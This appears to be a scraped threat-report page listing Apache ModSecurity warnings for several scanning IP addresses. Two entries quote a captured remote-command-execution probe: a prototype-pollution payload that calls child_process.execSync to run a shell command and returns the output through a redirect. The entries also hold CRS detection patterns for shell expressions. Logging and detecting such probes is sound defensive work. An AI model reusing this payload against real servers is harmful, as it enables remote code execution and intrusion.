11/Nov/2026:02:29:01.943595Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.175.146.213] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [t
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇮🇹
34.17.6.247
|
|
11/Nov/2026:01:10:38.216276Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.17. ...
show more
11/Nov/2026:01:10:38.216276Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.17.6.247] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
165.154.172.88
|
|
11/Nov/2026:01:00:02.113290Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.15 ...
show more
11/Nov/2026:01:00:02.113290Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.154.172.88] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avQEYo6WgnDFX3Asr2xrtgAAAAk"]
11/Nov/2026:01:00:02.374902Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 165.154.172.88] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numer
...
show less
|
Bad Web Bot
Web App Attack
|